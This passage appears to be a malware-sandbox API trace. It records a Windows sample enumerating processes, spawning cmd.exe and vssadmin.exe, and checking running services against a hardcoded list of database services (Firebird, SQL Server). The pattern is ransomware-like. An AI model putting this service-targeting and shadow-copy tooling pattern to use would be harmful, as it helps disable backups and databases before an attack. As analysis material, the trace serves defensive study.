th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0035.699] lstrlenW (lpString="winlogon.exe") returned 12 [0035.699] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0035.699] lstrlenW (lpString="services.exe") returned 12 [0035.699] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0035.700] lstrlenW (lpString="lsass.exe") returned 9 [0035.700] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0035.701] lstrlenW (lpString="lsm.exe") returned 7 [0035.701] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.701] lstrlenW (lpString="svchost.exe") returned 11 [0035.702] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.702] lstrlenW (lpString="svchost.exe") returned 11 [0035.702] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.703] lstrlenW (lpString="svchost.exe") returned 11 [0035.703] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.704] lstrlenW (lpString="svchost.exe") returned 11 [0035.704] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.704] lstrlenW (lpString="svchost.exe") returned 11 [0035.704] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0035.705] lstrlenW (lpString="audiodg.exe") returned 11 [0035.705] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.706] lstrlenW (lpString="svchost.exe") returned 11 [0035.706] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.706] lstrlenW (lpString="svchost.exe") returned 11 [0035.706] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0035.707] lstrlenW (lpString="dwm.exe") returned 7 [0035.707] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0035.708] lstrlenW (lpString="explorer.exe") returned 12 [0035.708] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0035.708] lstrlenW (lpString="spoolsv.exe") returned 11 [0035.708] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0035.709] lstrlenW (lpString="taskhost.exe") returned 12 [0035.709] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.711] lstrlenW (lpString="svchost.exe") returned 11 [0035.711] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0035.712] lstrlenW (lpString="taskeng.exe") returned 11 [0035.712] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0035.713] lstrlenW (lpString="taskhost.exe") returned 12 [0035.713] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0035.713] lstrlenW (lpString="chem venues.exe") returned 15 [0035.713] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0035.714] lstrlenW (lpString="month.exe") returned 9 [0035.714] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0035.715] lstrlenW (lpString="glasgow.exe") returned 11 [0035.715] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0035.715] lstrlenW (lpString="rubber.exe") returned 10 [0035.715] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0035.716] lstrlenW (lpString="petroleum.exe") returned 13 [0035.716] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0035.717] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0035.717] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0036.091] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0036.091] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0036.092] lstrlenW (lpString="batman_oliver.exe") returned 17 [0036.092] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0036.093] lstrlenW (lpString="formation.exe") returned 13 [0036.093] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0036.093] lstrlenW (lpString="whole.exe") returned 9 [0036.093] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0036.094] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0036.094] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0036.095] lstrlenW (lpString="disorder.exe") returned 12 [0036.095] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0036.095] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0036.096] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0036.096] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0036.096] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0036.097] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0036.097] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0036.098] lstrlenW (lpString="perspective.exe") returned 15 [0036.098] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0036.099] lstrlenW (lpString="demand-site.exe") returned 15 [0036.099] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0036.099] lstrlenW (lpString="attachment.exe") returned 14 [0036.099] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0036.100] lstrlenW (lpString="valid-permit.exe") returned 16 [0036.100] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0036.101] lstrlenW (lpString="knights.exe") returned 11 [0036.101] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0036.102] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0036.102] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0036.102] lstrlenW (lpString="mobsync.exe") returned 11 [0036.102] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.103] lstrlenW (lpString="dllhost.exe") returned 11 [0036.103] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.104] lstrlenW (lpString="dllhost.exe") returned 11 [0036.104] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0036.105] lstrlenW (lpString="ohbdap.exe") returned 10 [0036.105] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0036.105] lstrlenW (lpString="cmd.exe") returned 7 [0036.105] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0036.106] lstrlenW (lpString="conhost.exe") returned 11 [0036.106] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0036.107] lstrlenW (lpString="vssadmin.exe") returned 12 [0036.107] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0036.107] CloseHandle (hObject=0x1b8) returned 1 [0036.107] Sleep (dwMilliseconds=0x1f4) [0036.770] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fb98 [0036.771] EnumServicesStatusExW (in: hSCManager=0x52fb98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0036.772] GetLastError () returned 0xea [0036.772] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x123e) returned 0x5a1da0 [0036.772] EnumServicesStatusExW (in: hSCManager=0x52fb98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a1da0, cbBufSize=0x123e, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a1da0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0036.773] CloseServiceHandle (hSCObject=0x52fb98) returned 1 [0036.773] lstrlenW (lpString="Appinfo") returned 7 [0036.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0036.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0036.773] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0036.773] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0036.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0036.773] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0036.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.773] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0036.773] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0036.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0036.773] lstrlenW (lpString="AudioSrv") returned 8 [0036.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0036.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0036.774] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0036.774] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0036.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0036.774] lstrlenW (lpString="BFE") returned 3 [0036.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0036.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0036.774] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0036.774] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0036.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0036.774] lstrlenW (lpString="CryptSvc") returned 8 [0036.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0036.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0036.774] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0036.774] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0036.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0036.774] lstrlenW (lpString="CscService") returned 10 [0036.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0036.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0036.774] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0036.774] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0036.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0036.774] lstrlenW (lpString="DcomLaunch") returned 10 [0036.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.774] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0036.774] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0036.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0036.774] lstrlenW (lpString="Dhcp") returned 4 [0036.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0036.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0036.774] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0036.774] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0036.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0036.774] lstrlenW (lpString="Dnscache") returned 8 [0036.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0036.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0036.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0036.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0036.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0036.775] lstrlenW (lpString="DPS") returned 3 [0036.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0036.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0036.775] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0036.775] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0036.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0036.775] lstrlenW (lpString="eventlog") returned 8 [0036.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0036.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0036.775] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0036.775] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0036.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0036.775] lstrlenW (lpString="EventSystem") returned 11 [0036.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0036.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0036.775] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0036.775] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0036.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0036.775] lstrlenW (lpString="gpsvc") returned 5 [0036.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0036.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0036.775] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0036.775] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0036.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0036.775] lstrlenW (lpString="iphlpsvc") returned 8 [0036.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.775] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0036.775] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0036.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0036.776] lstrlenW (lpString="LanmanServer") returned 12 [0036.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0036.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0036.776] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0036.776] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0036.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0036.776] lstrlenW (lpString="LanmanWorkstation") returned 17 [0036.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.776] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0036.776] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0036.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0036.776] lstrlenW (lpString="lmhosts") returned 7 [0036.776] lstrcmpiW 